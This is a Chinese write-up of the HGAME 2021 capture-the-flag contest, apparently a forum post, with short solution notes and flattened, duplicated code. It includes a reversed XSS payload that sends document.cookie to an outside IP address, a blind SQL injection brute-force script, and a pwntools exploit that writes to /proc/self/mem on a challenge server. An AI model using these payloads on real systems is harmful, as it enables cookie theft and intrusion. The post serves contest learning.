www.zip可获得源码,分析一下php就行
xss,写个爆破md5的脚本,在服务器搭个接收cookie的环境
xss的payload
sql盲注,根据status字段来回显,采取一个一个字符爆破的方式,select from where需要大小写绕过
条件竞争,抓个买一台的包,然后多线程重复发包就行
一个标准的AESCBC加密,密文和密钥在解压缩出来的strings文档里,密钥的md5作为IV,然后找个在线网站解即可
第一个password比较简单,把比较的字符串提取出来就行
第二个password有个创建子进程的操作,这时候我们可以先启动程序,输入第一个password,然后在等待password2输入的时候attach上去,即可绕过
然后password2就是调用了windowsAPI的一个AESCBC加密,调试拿到密钥和IV,在线网站就可以解
nc连上去,根据回显,就是个异或,一个一个字符弄出flag就行
涉及到proc/self/maps和proc/self/mem的知识,首先maps可以输出当前文件加载的基地址,然后mem可以根据基地址来修改内存
还有就是输入购买数量的时候有个漏洞,当你输入的数字足够大,那么不仅不减钱,还会给你加钱
exp就不贴了,较简单
涉及到逆元的知识,还有费马小定理
基本RSA
白给RSA
这题相当于解六十四元异或方程组,可以用矩阵的知识解,这里我用的z3解
因为我这里把最右边当作第一位,所以输出的数据要倒序,最后转成十六进制,每两位就是一个字符,把七组数据代进脚本,解出后拼在一起就是flag
这题就是教了各种隐写工具,根据压缩包的名字就可以找到对应的工具,解套娃就行
音频隐写
中间有一段摩斯电码,长波为_,短波为.
解出来就是flag
用StegSolve可以得到一张二维码,扫描后是一串base64,先解码,再逆序,再转图片,最后翻转图片就可以得到flag
流量分析
wireshark打开,可以看到flag.hgame2021.cf这个网站,试着访问,F12可以看到提示SPF
即可得到flag
submit
=
getflag&_SESSESSIONSION[username]
=
admin
submit
=
getflag&_SESSESSIONSION[username]
=
admin
>;eikooc.tnemucod
+
'=eikooc?php.xedni/271.621.232.94//'
=
onitacol.tnemucod
=
rorreno x
=
crs gmi<
>;eikooc.tnemucod
+
'=eikooc?php.xedni/271.621.232.94//'
=
onitacol.tnemucod
=
rorreno x
=
crs gmi<
import
requests
import
string
import
re
s
=
requests.session()
url
=
'https://200ok.liki.link/server.php'
ans
=
''
dict
=
string.ascii_letters
+
string.digits
+
string.punctuation
for
i
in
range
(
1
,
60
):
print
(i)
for
j
in
dict
:
hd
=
{
'Status'
: payload
}
ra
=
s.get(url
=
url,headers
=
hd).text
if
'HTTP 200 OK'
in
ra:
print
(j)
ans
+
=
j
print
(ans)
break
import
requests
import
string
import
re
s
=
requests.session()
url
=
'https://200ok.liki.link/server.php'
ans
=
''
dict
=
string.ascii_letters
+
string.digits
+
string.punctuation
for
i
in
range
(
1
,
60
):
print
(i)
for
j
in
dict
:
hd
=
{
'Status'
: payload
}
ra
=
s.get(url
=
url,headers
=
hd).text
if
'HTTP 200 OK'
in
ra:
print
(j)
ans
+
=
j
print
(ans)
break
from
pwn
import
*
context.arch
=
"amd64"
context.log_level
=
'debug'
sh
=
remote(
'159.75.104.107'
,
30398
)
sh.recvuntil(
'>> '
)
sh.sendline(
'2'
)
sh.recvuntil(
'>> '
)
sh.sendline(
'1'
)
sh.recvuntil(
'>>'
)
payload
=
'/proc/self/maps'
sh.sendline(payload)
r
=
sh.recvuntil(
">> "
).splitlines()
print
(r)
find
=
''
for
i
in
r:
if
b
'shop'
in
i
and
b
'r--p'
in
i:
find
=
i
break
print
(find)
elfbase
=
int
(find[
25
:
37
],
16
)
print
(
hex
(elfbase))
sh.sendline(
'3'
)
sh.recvuntil(
'>> '
)
sh.sendline(
'111111111111111111111111111'
)
sh.recvuntil(
'>> '
)
sh.sendline(
'3'
)
sh.recvuntil(
'>> '
)
sh.sendline(
'1'
)
sh.recvuntil(
'>> '
)
sh.sendline(
'/proc/self/mem'
)
sh.recv()
sh.send(
str
(elfbase
+
8963
))
sh.recv()
sh.interactive()
from
pwn
import
*
context.arch
=
"amd64"
context.log_level
=
'debug'
sh
=
remote(
'159.75.104.107'
,
30398
)
sh.recvuntil(
'>> '
)
sh.sendline(
'2'
)
sh.recvuntil(
'>> '
)
sh.sendline(
'1'
)
sh.recvuntil(
'>>'
)
payload
=
'/proc/self/maps'
sh.sendline(payload)
r
=
sh.recvuntil(
">> "
).splitlines()
print
(r)
find
=
''
for
i
in
r:
if
b
'shop'
in
i
and
b
'r--p'
in
i:
find
=
i
break
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-6-15 20:00
被77pray编辑
,原因: